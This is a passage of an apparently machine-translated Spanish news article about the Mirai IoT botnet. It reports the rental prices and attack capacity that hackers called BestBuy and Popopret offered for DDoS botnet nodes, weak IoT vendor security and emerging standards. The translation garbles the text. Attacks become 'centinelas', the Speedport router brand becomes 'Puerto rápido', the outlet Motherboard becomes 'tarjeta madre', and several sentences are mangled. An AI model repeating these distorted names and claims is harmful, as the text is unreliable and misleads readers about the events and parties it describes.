Según el hacker, ofrecen a los clientes varios paquetes de servicios. uno mas barato vale la pena $2 000 - por este dinero los clientes pueden alquilar desde 20.000 a 25.000 nodos de botnet para lanzar centinelas durante hasta dos semanas, con un tiempo de descanso de quince minutos entre ataques. Detrás $15 000 o $20 000 Los clientes ahora tienen la oportunidad de que 600.000 bots lancen ataques de dos horas con descansos de 30 o 15 minutos. En el segundo caso, el poder de ataque será 700 Gbit/s o más.

Perspectivas

Seguridad dispositivos de iot a menudo se encuentra en un nivel bastante bajo; esto se explica por el hecho de que los proveedores a menudo no están interesados ​​en implementar medidas adicionales seguridad de información. Anuncian la facilidad de uso de sus productos, pero todas las medidas de seguridad adicionales imponen restricciones y requieren recursos.

Como se indicó anteriormente, sólo los desarrolladores de dispositivos finales o los proveedores que los proporcionan (en el caso de enrutadores) pueden proteger a los usuarios de botnets más avanzadas. El proveedor alemán Deutsche Telekom, afectado por el ataque de la nueva versión de Mirai, ya ha anunciado que “reconsiderará las relaciones comerciales” con proveedores de routers vulnerables Puerto rápido, compañía arcadiano.

En última instancia, será posible aumentar el nivel de seguridad de Internet de las cosas mediante la introducción de un control más estricto de los dispositivos por parte de los proveedores, por un lado, y el desarrollo de estándares y documentación regulatoria para IoT, por el otro. . En muchos países ya se han tomado medidas similares para garantizar la seguridad de los sistemas automatizados de control de procesos. Ya se han dado los primeros pasos en esta dirección; por ejemplo, varios proveedores de TI publicaron en septiembre un documento titulado Los industriales seguridad de Internet Marco (IISF)- propone considerar el Internet de las cosas como parte del “Internet industrial”.

Sin embargo, el problema aún está lejos de resolverse definitivamente y los piratas informáticos BestBuy y Popopret puede obtener un monopolio a gran escala ataques DDoS en línea. Este es un hecho bastante triste, pero los propios piratas informáticos, durante una conversación con tarjeta madre declaró que sus actividades se guiarían no sólo por el beneficio, sino también por principios morales. Por eso BestBuy dijo que no permitirán que los clientes ataquen las direcciones IP de empresas que trabajan con infraestructura crítica.




Arriba